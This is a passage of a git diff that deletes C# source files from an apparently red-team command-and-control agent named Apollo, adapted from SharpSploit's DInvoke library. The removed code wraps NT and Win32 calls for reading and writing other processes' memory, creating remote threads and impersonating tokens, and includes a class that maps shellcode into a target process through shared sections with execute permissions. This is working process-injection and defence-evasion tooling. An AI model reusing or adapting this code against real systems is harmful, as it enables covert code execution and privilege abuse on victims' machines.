(Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtWriteVirtualMemory", typeof(DELEGATES.NtWriteVirtualMemory), ref funcargs); - if (retValue != Data.Native.NTSTATUS.Success) - { - throw new InvalidOperationException("Failed to write memory, " + retValue); - } - - BytesWritten = (UInt32)funcargs[4]; - return BytesWritten; - } - - public static IntPtr LdrGetProcedureAddress(IntPtr hModule, IntPtr FunctionName, IntPtr Ordinal, ref IntPtr FunctionAddress) - { - // Craft an array for the arguments - object[] funcargs = - { - hModule, FunctionName, Ordinal, FunctionAddress - }; - - Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"LdrGetProcedureAddress", typeof(DELEGATES.LdrGetProcedureAddress), ref funcargs); - if (retValue != Data.Native.NTSTATUS.Success) - { - throw new InvalidOperationException("Failed get procedure address, " + retValue); - } - - FunctionAddress = (IntPtr)funcargs[3]; - return FunctionAddress; - } - - public static void RtlGetVersion(ref Data.Native.OSVERSIONINFOEX VersionInformation) - { - // Craft an array for the arguments - object[] funcargs = - { - VersionInformation - }; - - Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"RtlGetVersion", typeof(DELEGATES.RtlGetVersion), ref funcargs); - if (retValue != Data.Native.NTSTATUS.Success) - { - throw new InvalidOperationException("Failed get procedure address, " + retValue); - } - - VersionInformation = (Data.Native.OSVERSIONINFOEX)funcargs[0]; - } - - public static UInt32 NtReadVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, ref UInt32 NumberOfBytesToRead) - { - // Craft an array for the arguments - UInt32 NumberOfBytesRead = 0; - object[] funcargs = - { - ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead - }; - - Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtReadVirtualMemory", typeof(DELEGATES.NtReadVirtualMemory), ref funcargs); - if (retValue != Data.Native.NTSTATUS.Success) - { - throw new InvalidOperationException("Failed to read memory, " + retValue); - } - - NumberOfBytesRead = (UInt32)funcargs[4]; - return NumberOfBytesRead; - } - - public static IntPtr NtOpenFile(ref IntPtr FileHandle, Data.Win32.Kernel32.FileAccessFlags DesiredAccess, ref Data.Native.OBJECT_ATTRIBUTES ObjAttr, ref Data.Native.IO_STATUS_BLOCK IoStatusBlock, Data.Win32.Kernel32.FileShareFlags ShareAccess, Data.Win32.Kernel32.FileOpenFlags OpenOptions) - { - // Craft an array for the arguments - object[] funcargs = - { - FileHandle, DesiredAccess, ObjAttr, IoStatusBlock, ShareAccess, OpenOptions - }; - - Data.Native.NTSTATUS retValue = (Data.Native.NTSTATUS)Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenFile", typeof(DELEGATES.NtOpenFile), ref funcargs); - if (retValue != Data.Native.NTSTATUS.Success) - { - throw new InvalidOperationException("Failed to open file, " + retValue); - } - - - FileHandle = (IntPtr)funcargs[0]; - return FileHandle; - } - - /// - /// Holds delegates for API calls in the NT Layer. - /// Must be public so that they may be used with SharpSploit.Execution.DynamicInvoke.Generic.DynamicFunctionInvoke - /// - /// - /// - /// // These delegates may also be used directly. - /// - /// // Get a pointer to the NtCreateThreadEx function. - /// IntPtr pFunction = Execution.DynamicInvoke.Generic.GetLibraryAddress(@"ntdll.dll", "NtCreateThreadEx"); - /// - /// // Create an instance of a NtCreateThreadEx delegate from our function pointer. - /// DELEGATES.NtCreateThreadEx createThread = (NATIVE_DELEGATES.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer( - /// pFunction, typeof(NATIVE_DELEGATES.NtCreateThreadEx)); - /// - /// // Invoke NtCreateThreadEx using the delegate - /// createThread(ref threadHandle, Data.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Data.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, IntPtr.Zero, - /// procHandle, startAddress, IntPtr.Zero, Data.Native.NT_CREATION_FLAGS.HIDE_FROM_DEBUGGER, 0, 0, 0, IntPtr.Zero); - /// - /// - public struct DELEGATES - { - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Data.Native.NTSTATUS NtCreateThreadEx( - out IntPtr threadHandle, - Data.Win32.WinNT.ACCESS_MASK desiredAccess, - IntPtr objectAttributes, - IntPtr processHandle, - IntPtr startAddress, - IntPtr parameter, - bool createSuspended, - int stackZeroBits, - int sizeOfStack, - int maximumStackSize, - IntPtr attributeList); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Data.Native.NTSTATUS RtlCreateUserThread( - IntPtr Process, - IntPtr ThreadSecurityDescriptor, - bool CreateSuspended, - IntPtr ZeroBits, - IntPtr MaximumStackSize, - IntPtr CommittedStackSize, - IntPtr StartAddress, - IntPtr Parameter, - ref IntPtr Thread, - IntPtr ClientId); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Data.Native.NTSTATUS NtCreateSection( - ref IntPtr SectionHandle, - uint DesiredAccess, - IntPtr ObjectAttributes, - ref ulong MaximumSize, - uint SectionPageProtection, - uint AllocationAttributes, - IntPtr FileHandle); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Data.Native.NTSTATUS NtUnmapViewOfSection( - IntPtr hProc, - IntPtr baseAddr); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Data.Native.NTSTATUS NtMapViewOfSection( - IntPtr SectionHandle, - IntPtr ProcessHandle, - out IntPtr BaseAddress, - IntPtr ZeroBits, - IntPtr CommitSize, - IntPtr SectionOffset, - out ulong ViewSize, - uint InheritDisposition, - uint AllocationType, - uint Win32Protect); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate UInt32 LdrLoadDll( - IntPtr PathToFile, - UInt32 dwFlags, - ref Data.Native.UNICODE_STRING ModuleFileName, - ref IntPtr ModuleHandle); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate void RtlInitUnicodeString( - ref Data.Native.UNICODE_STRING DestinationString, - [MarshalAs(UnmanagedType.LPWStr)] - string SourceString); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate void RtlZeroMemory( - IntPtr Destination, - int length); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate UInt32 NtQueryInformationProcess( - IntPtr processHandle, - Data.Native.PROCESSINFOCLASS processInformationClass, - IntPtr processInformation, - int processInformationLength, - ref UInt32 returnLength); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate UInt32 NtOpenProcess( - ref IntPtr ProcessHandle, - Data.Win32.Kernel32.ProcessAccessFlags DesiredAccess, - ref Data.Native.OBJECT_ATTRIBUTES ObjectAttributes, - ref Data.Native.CLIENT_ID ClientId); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate UInt32 NtQueueApcThread( - IntPtr ThreadHandle, - IntPtr ApcRoutine, - IntPtr ApcArgument1, - IntPtr ApcArgument2, - IntPtr ApcArgument3); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate UInt32 NtOpenThread( - ref IntPtr ThreadHandle, - Data.Win32.Kernel32.ThreadAccess DesiredAccess, - ref Data.Native.OBJECT_ATTRIBUTES ObjectAttributes, - ref Data.Native.CLIENT_ID ClientId); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate UInt32 NtAllocateVirtualMemory( - IntPtr ProcessHandle, - ref IntPtr BaseAddress, - IntPtr ZeroBits, - ref IntPtr RegionSize, - UInt32 AllocationType, - UInt32 Protect); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate UInt32 NtFreeVirtualMemory( - IntPtr ProcessHandle, - ref IntPtr BaseAddress, - ref IntPtr RegionSize, - UInt32 FreeType); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate UInt32 NtQueryVirtualMemory( - IntPtr ProcessHandle, - IntPtr BaseAddress, - Data.Native.MEMORYINFOCLASS MemoryInformationClass, - IntPtr MemoryInformation, - UInt32 MemoryInformationLength, - ref UInt32 ReturnLength); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate UInt32 NtProtectVirtualMemory( - IntPtr ProcessHandle, - ref IntPtr BaseAddress, - ref IntPtr RegionSize, - UInt32 NewProtect, - ref UInt32 OldProtect); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate UInt32 NtWriteVirtualMemory( - IntPtr ProcessHandle, - IntPtr BaseAddress, - IntPtr Buffer, - UInt32 BufferLength, - ref UInt32 BytesWritten); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate UInt32 RtlUnicodeStringToAnsiString( - ref Data.Native.ANSI_STRING DestinationString, - ref Data.Native.UNICODE_STRING SourceString, - bool AllocateDestinationString); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate UInt32 LdrGetProcedureAddress( - IntPtr hModule, - IntPtr FunctionName, - IntPtr Ordinal, - ref IntPtr FunctionAddress); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate UInt32 RtlGetVersion( - ref Data.Native.OSVERSIONINFOEX VersionInformation); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate UInt32 NtReadVirtualMemory( - IntPtr ProcessHandle, - IntPtr BaseAddress, - IntPtr Buffer, - UInt32 NumberOfBytesToRead, - ref UInt32 NumberOfBytesRead); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate UInt32 NtOpenFile( - ref IntPtr FileHandle, - Data.Win32.Kernel32.FileAccessFlags DesiredAccess, - ref Data.Native.OBJECT_ATTRIBUTES ObjAttr, - ref Data.Native.IO_STATUS_BLOCK IoStatusBlock, - Data.Win32.Kernel32.FileShareFlags ShareAccess, - Data.Win32.Kernel32.FileOpenFlags OpenOptions); - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/DynamicInvoke/Win32.cs b/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/DynamicInvoke/Win32.cs deleted file mode 100644 index 0af3926c..00000000 --- a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/DynamicInvoke/Win32.cs +++ /dev/null @@ -1,361 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io), The Wover (@TheRealWover) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using System.Runtime.InteropServices; -using System.Text; - -namespace DInvokeResolver.DInvoke.DynamicInvoke -{ - /// - /// Contains function prototypes and wrapper functions for dynamically invoking Win32 API Calls. - /// - public static class Win32 - { - /// - /// Uses DynamicInvocation to call the OpenProcess Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess - /// - /// The Wover (@TheRealWover) - /// - /// - /// - /// - public static IntPtr OpenProcess(Data.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, UInt32 dwProcessId) - { - // Craft an array for the arguments - object[] funcargs = - { - dwDesiredAccess, bInheritHandle, dwProcessId - }; - - return (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"OpenProcess", - typeof(Delegates.OpenProcess), ref funcargs); - } - - public static IntPtr CreateRemoteThread( - IntPtr hProcess, - IntPtr lpThreadAttributes, - uint dwStackSize, - IntPtr lpStartAddress, - IntPtr lpParameter, - uint dwCreationFlags, - ref IntPtr lpThreadId) - { - // Craft an array for the arguments - object[] funcargs = - { - hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId - }; - - IntPtr retValue = (IntPtr)Generic.DynamicAPIInvoke(@"kernel32.dll", @"CreateRemoteThread", - typeof(Delegates.CreateRemoteThread), ref funcargs); - - // Update the modified variables - lpThreadId = (IntPtr)funcargs[6]; - - return retValue; - } - - /// - /// Uses DynamicInvocation to call the IsWow64Process Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/wow64apiset/nf-wow64apiset-iswow64process - /// - /// Returns true if process is WOW64, and false if not (64-bit, or 32-bit on a 32-bit machine). - public static bool IsWow64Process(IntPtr hProcess, ref bool lpSystemInfo) - { - - // Build the set of parameters to pass in to IsWow64Process - object[] funcargs = - { - hProcess, lpSystemInfo - }; - - bool retVal = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"IsWow64Process", typeof(Delegates.IsWow64Process), ref funcargs); - - lpSystemInfo = (bool)funcargs[1]; - - // Dynamically load and invoke the API call with out parameters - return retVal; - } - - /// - /// Uses DynamicInvocation to call the CloseHandle Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle - /// - /// - public static bool CloseHandle(IntPtr handle) - { - - // Build the set of parameters to pass in to CloseHandle - object[] funcargs = - { - handle - }; - - bool retVal = (bool)Generic.DynamicAPIInvoke(@"kernel32.dll", @"CloseHandle", typeof(Delegates.CloseHandle), ref funcargs); - - // Dynamically load and invoke the API call with out parameters - return retVal; - } - - public static class Delegates - { - // Kernel32.dll - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate IntPtr CreateRemoteThread(IntPtr hProcess, - IntPtr lpThreadAttributes, - uint dwStackSize, - IntPtr lpStartAddress, - IntPtr lpParameter, - uint dwCreationFlags, - out IntPtr lpThreadId); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate IntPtr OpenProcess( - Data.Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, - bool bInheritHandle, - UInt32 dwProcessId - ); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate bool IsWow64Process( - IntPtr hProcess, ref bool lpSystemInfo - ); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Boolean CloseHandle(IntPtr hProcess); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate IntPtr GetCurrentThread(); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate UInt32 SearchPath(String lpPath, String lpFileName, String lpExtension, UInt32 nBufferLength, StringBuilder lpBuffer, ref IntPtr lpFilePart); - - //Advapi32.dll - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Boolean OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Boolean SetThreadToken(IntPtr ThreadHandle, IntPtr TokenHandle); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Boolean DuplicateTokenEx(IntPtr hExistingToken, UInt32 dwDesiredAccess, IntPtr lpTokenAttributes, _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, _TOKEN_TYPE TokenType, out IntPtr phNewToken); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Boolean ImpersonateLoggedOnUser(IntPtr hToken); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Boolean OpenThreadToken(IntPtr ThreadHandle, UInt32 DesiredAccess, Boolean OpenAsSelf, ref IntPtr TokenHandle); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Boolean ImpersonateSelf(_SECURITY_IMPERSONATION_LEVEL ImpersonationLevel); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Boolean LookupPrivilegeValueA(String lpSystemName, String lpName, ref _LUID luid); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Boolean AdjustTokenPrivileges(IntPtr TokenHandle, Boolean DisableAllPrivileges, ref _TOKEN_PRIVILEGES NewState, UInt32 BufferLengthInBytes, ref _TOKEN_PRIVILEGES PreviousState, out UInt32 ReturnLengthInBytes); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Boolean LookupPrivilegeName(String lpSystemName, IntPtr lpLuid, StringBuilder lpName, ref Int32 cchName); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Boolean GetTokenInformation(IntPtr TokenHandle, _TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Boolean PrivilegeCheck(IntPtr ClientToken, _PRIVILEGE_SET RequiredPrivileges, IntPtr pfResult); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate bool LookupAccountSidA(String lpSystemName, IntPtr Sid, StringBuilder lpName, ref UInt32 cchName, StringBuilder ReferencedDomainName, ref UInt32 cchReferencedDomainName, out _SID_NAME_USE peUse); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate bool ConvertSidToStringSidA(IntPtr Sid, ref IntPtr StringSid); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Boolean LookupPrivilegeNameA(String lpSystemName, IntPtr lpLuid, StringBuilder lpName, ref Int32 cchName); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, Byte[] lpApplicationName, Byte[] lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref _STARTUPINFO lpStartupInfo, out _PROCESS_INFORMATION lpProcessInformation); - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate Boolean CreateProcessWithLogonW(String lpUsername, String lpDomain, String lpPassword, LogonFlags dwLogonFlags, Byte[] lpApplicationName, Byte[] lpCommandLine, CREATION_FLAGS dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref _STARTUPINFO lpStartupInfo, out _PROCESS_INFORMATION lpProcessInformation); - - // Secur32.dll || sspicli.dll - - [UnmanagedFunctionPointer(CallingConvention.StdCall)] - public delegate UInt32 LsaGetLogonSessionData(IntPtr LogonId, out IntPtr ppLogonSessionData); - } - - [StructLayout(LayoutKind.Sequential)] - public struct _LUID - { - public System.UInt32 LowPart; - public System.UInt32 HighPart; - } - - //https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx - [StructLayout(LayoutKind.Sequential)] - public struct _PROCESS_INFORMATION - { - public IntPtr hProcess; - public IntPtr hThread; - public UInt32 dwProcessId; - public UInt32 dwThreadId; - }; - - [StructLayout(LayoutKind.Sequential)] - public struct _STARTUPINFO - { - public UInt32 cb; - public String lpReserved; - public String lpDesktop; - public String lpTitle; - public UInt32 dwX; - public UInt32 dwY; - public UInt32 dwXSize; - public UInt32 dwYSize; - public UInt32 dwXCountChars; - public UInt32 dwYCountChars; - public UInt32 dwFillAttribute; - public UInt32 dwFlags; - public UInt16 wShowWindow; - public UInt16 cbReserved2; - public IntPtr lpReserved2; - public IntPtr hStdInput; - public IntPtr hStdOutput; - public IntPtr hStdError; - }; - - [Flags] - public enum _TOKEN_TYPE - { - TokenPrimary = 1, - TokenImpersonation - } - public enum LogonFlags - { - WithProfile = 1, - NetCredentialsOnly = 0 - } - public enum CreationFlags - { - DefaultErrorMode = 0x04000000, - NewConsole = 0x00000010, - CREATE_NO_WINDOW = 0x08000000, - NewProcessGroup = 0x00000200, - SeparateWOWVDM = 0x00000800, - Suspended = 0x00000004, - UnicodeEnvironment = 0x00000400, - ExtendedStartupInfoPresent = 0x00080000 - } - - [Flags] - public enum _SECURITY_IMPERSONATION_LEVEL : int - { - SecurityAnonymous = 0, - SecurityIdentification = 1, - SecurityImpersonation = 2, - SecurityDelegation = 3 - }; - - [Flags] - public enum CREATION_FLAGS : uint - { - NONE = 0x0, - CREATE_DEFAULT_ERROR_MODE = 0x04000000, - CREATE_NEW_CONSOLE = 0x00000010, - CREATE_NEW_PROCESS_GROUP = 0x00000200, - CREATE_SEPARATE_WOW_VDM = 0x00000800, - CREATE_SUSPENDED = 0x00000004, - CREATE_UNICODE_ENVIRONMENT = 0x00000400, - EXTENDED_STARTUPINFO_PRESENT = 0x00080000 - } - - [Flags] - public enum _SID_NAME_USE - { - SidTypeUser = 1, - SidTypeGroup, - SidTypeDomain, - SidTypeAlias, - SidTypeWellKnownGroup, - SidTypeDeletedAccount, - SidTypeInvalid, - SidTypeUnknown, - SidTypeComputer, - SidTypeLabel - } - - [StructLayout(LayoutKind.Sequential)] - public struct _TOKEN_PRIVILEGES - { - public UInt32 PrivilegeCount; - public _LUID_AND_ATTRIBUTES Privileges; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _LUID_AND_ATTRIBUTES - { - public _LUID Luid; - public System.UInt32 Attributes; - } - - internal const Int32 ANYSIZE_ARRAY = 1; - - [StructLayout(LayoutKind.Sequential)] - public struct _PRIVILEGE_SET - { - public System.UInt32 PrivilegeCount; - public System.UInt32 Control; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = (Int32)ANYSIZE_ARRAY)] - public _LUID_AND_ATTRIBUTES[] Privilege; - } - - [Flags] - public enum _TOKEN_INFORMATION_CLASS - { - TokenUser = 1, - TokenGroups, - TokenPrivileges, - TokenOwner, - TokenPrimaryGroup, - TokenDefaultDacl, - TokenSource, - TokenType, - TokenImpersonationLevel, - TokenStatistics, - TokenRestrictedSids, - TokenSessionId, - TokenGroupsAndPrivileges, - TokenSessionReference, - TokenSandBoxInert, - TokenAuditPolicy, - TokenOrigin, - TokenElevationType, - TokenLinkedToken, - TokenElevation, - TokenHasRestrictions, - TokenAccessInformation, - TokenVirtualizationAllowed, - TokenVirtualizationEnabled, - TokenIntegrityLevel, - TokenUIAccess, - TokenMandatoryPolicy, - TokenLogonSid, - TokenIsAppContainer, - TokenCapabilities, - TokenAppContainerSid, - TokenAppContainerNumber, - TokenUserClaimAttributes, - TokenDeviceClaimAttributes, - TokenRestrictedUserClaimAttributes, - TokenRestrictedDeviceClaimAttributes, - TokenDeviceGroups, - TokenRestrictedDeviceGroups, - TokenSecurityAttributes, - TokenIsRestricted, - MaxTokenInfoClass - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/Injection/Allocation.cs b/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/Injection/Allocation.cs deleted file mode 100644 index f114de79..00000000 --- a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/Injection/Allocation.cs +++ /dev/null @@ -1,290 +0,0 @@ -using System; -using System.Linq; -using System.Reflection; -using System.Diagnostics; - -namespace DInvokeResolver.DInvoke.Injection -{ - /// - /// Base class for allocation techniques. - /// - public abstract class AllocationTechnique - { - // An array containing a set of PayloadType objects that are supported. - protected Type[] supportedPayloads; - - /// - /// Informs objects using this technique whether or not it supports the type of a particular payload. - /// - /// The Wover (@TheRealWover) - /// A payload. - /// Whether or not the payload is of a supported type for this strategy. - public abstract bool IsSupportedPayloadType(PayloadType Payload); - - /// - /// Internal method for setting the supported payload types. Used in constructors. - /// - /// The Wover (@TheRealWover) - internal abstract void DefineSupportedPayloadTypes(); - - /// - /// Allocate the payload to the target process at a specified address. - /// - /// The Wover (@TheRealWover) - /// The payload to allocate to the target process. - /// The target process. - /// The address at which to allocate the payload in the target process. - /// True when allocation was successful. Otherwise, throws relevant exceptions. - public virtual IntPtr Allocate(PayloadType Payload, Process Process, IntPtr Address) - { - Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process), Address.GetType() }; - - try - { - // Get delegate to the overload of Allocate that supports the type of payload passed in - MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype); - - // Dynamically invoke the appropriate Allocate overload - return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process, Address }); - } - // If there is no such method - catch (ArgumentNullException) - { - throw new PayloadTypeNotSupported(Payload.GetType()); - } - } - - /// - /// Allocate the payload to the target process. - /// - /// The Wover (@TheRealWover) - /// The payload to allocate to the target process. - /// The target process. - /// Base address of allocated memory within the target process's virtual memory space. - public virtual IntPtr Allocate(PayloadType Payload, Process Process) - { - - Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process) }; - - try - { - // Get delegate to the overload of Allocate that supports the type of payload passed in - MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype); - - // Dynamically invoke the appropriate Allocate overload - return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process }); - } - // If there is no such method - catch (ArgumentNullException) - { - throw new PayloadTypeNotSupported(Payload.GetType()); - } - } - } - - /// - /// Allocates a payload to a target process using locally-written, remotely-copied shared memory sections. - /// - public class SectionMapAlloc : AllocationTechnique - { - // Publically accessible options - - public uint localSectionPermissions = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE; - public uint remoteSectionPermissions = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE; - public uint sectionAttributes = Data.Win32.WinNT.SEC_COMMIT; - - /// - /// Default constructor. - /// - public SectionMapAlloc() - { - DefineSupportedPayloadTypes(); - } - - /// - /// Constructor allowing options as arguments. - /// - public SectionMapAlloc(uint localPerms = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, uint remotePerms = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, uint atts = Data.Win32.WinNT.SEC_COMMIT) - { - DefineSupportedPayloadTypes(); - localSectionPermissions = localPerms; - remoteSectionPermissions = remotePerms; - sectionAttributes = atts; - } - - /// - /// States whether the payload is supported. - /// - /// The Wover (@TheRealWover) - /// Payload that will be allocated. - /// - public override bool IsSupportedPayloadType(PayloadType Payload) - { - return supportedPayloads.Contains(Payload.GetType()); - } - - /// - /// Internal method for setting the supported payload types. Used in constructors. - /// Update when new types of payloads are added. - /// - /// The Wover (@TheRealWover) - internal override void DefineSupportedPayloadTypes() - { - //Defines the set of supported payload types. - supportedPayloads = new Type[] { - typeof(PICPayload) - }; - } - - /// - /// Allocate the payload to the target process. Handles unknown payload types. - /// - /// The Wover (@TheRealWover) - /// The payload to allocate to the target process. - /// The target process. - /// Base address of allocated memory within the target process's virtual memory space. - public override IntPtr Allocate(PayloadType Payload, Process Process) - { - if (!IsSupportedPayloadType(Payload)) - { - throw new PayloadTypeNotSupported(Payload.GetType()); - } - return Allocate(Payload, Process, IntPtr.Zero); - } - - /// - /// Allocate the payload in the target process. - /// - /// The Wover (@TheRealWover) - /// The PIC payload to allocate to the target process. - /// The target process. - /// The preferred address at which to allocate the payload in the target process. - /// Base address of allocated memory within the target process's virtual memory space. - public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress) - { - // Get a convenient handle for the target process. - IntPtr procHandle = Process.Handle; - - // Create a section to hold our payload - IntPtr sectionAddress = CreateSection((uint)Payload.Payload.Length, sectionAttributes); - - // Map a view of the section into our current process with RW permissions - SectionDetails details = MapSection(Process.GetCurrentProcess().Handle, sectionAddress, - localSectionPermissions, IntPtr.Zero, Convert.ToUInt32(Payload.Payload.Length)); - - // Copy the shellcode to the local view - System.Runtime.InteropServices.Marshal.Copy(Payload.Payload, 0, details.baseAddr, Payload.Payload.Length); - - // Now that we are done with the mapped view in our own process, unmap it - Data.Native.NTSTATUS result = UnmapSection(Process.GetCurrentProcess().Handle, details.baseAddr); - - // Now, map a view of the section to other process. It should already hold the payload. - - SectionDetails newDetails; - - if (PreferredAddress != IntPtr.Zero) - { - // Attempt to allocate at a preferred address. May not end up exactly at the specified location. - // Refer to MSDN documentation on ZwMapViewOfSection for details. - newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, PreferredAddress, (ulong)Payload.Payload.Length); - } - else - { - newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, IntPtr.Zero, (ulong)Payload.Payload.Length); - } - return newDetails.baseAddr; - } - - /// - /// Creates a new Section. - /// - /// The Wover (@TheRealWover) - /// Max size of the Section. - /// Section attributes (eg. Win32.WinNT.SEC_COMMIT). - /// - private static IntPtr CreateSection(ulong size, uint allocationAttributes) - { - // Create a pointer for the section handle - IntPtr SectionHandle = new IntPtr(); - ulong maxSize = size; - - Data.Native.NTSTATUS result = DynamicInvoke.Native.NtCreateSection( - ref SectionHandle, - 0x10000000, - IntPtr.Zero, - ref maxSize, - Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, - allocationAttributes, - IntPtr.Zero - ); - // Perform error checking on the result - if (result < 0) - { - return IntPtr.Zero; - } - return SectionHandle; - } - - /// - /// Maps a view of a section to the target process. - /// - /// The Wover (@TheRealWover) - /// Handle the process that the section will be mapped to. - /// Handle to the section. - /// What permissions to use on the view. - /// Optional parameter to specify the address of where to map the view. - /// Size of the view to map. Must be smaller than the max Section size. - /// A struct containing address and size of the mapped view. - public static SectionDetails MapSection(IntPtr procHandle, IntPtr sectionHandle, uint protection, IntPtr addr, ulong sizeData) - { - // Copied so that they may be passed by reference but the original value preserved - IntPtr baseAddr = addr; - ulong size = sizeData; - - uint disp = 2; - uint alloc = 0; - - // Returns an NTSTATUS value - Data.Native.NTSTATUS result = DynamicInvoke.Native.NtMapViewOfSection( - sectionHandle, procHandle, - ref baseAddr, - IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, - ref size, disp, alloc, - protection - ); - - // Create a struct to hold the results. - SectionDetails details = new SectionDetails(baseAddr, sizeData); - - return details; - } - - - /// - /// Holds the data returned from NtMapViewOfSection. - /// - public struct SectionDetails - { - public IntPtr baseAddr; - public ulong size; - - public SectionDetails(IntPtr addr, ulong sizeData) - { - baseAddr = addr; - size = sizeData; - } - } - - /// - /// Unmaps a view of a section from a process. - /// - /// The Wover (@TheRealWover) - /// Process to which the view has been mapped. - /// Address of the view (relative to the target process) - /// - public static Data.Native.NTSTATUS UnmapSection(IntPtr hProc, IntPtr baseAddr) - { - return DynamicInvoke.Native.NtUnmapViewOfSection(hProc, baseAddr); - } - } -} \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/DInvokeResolver/DInvoke/Injection/Execution.cs 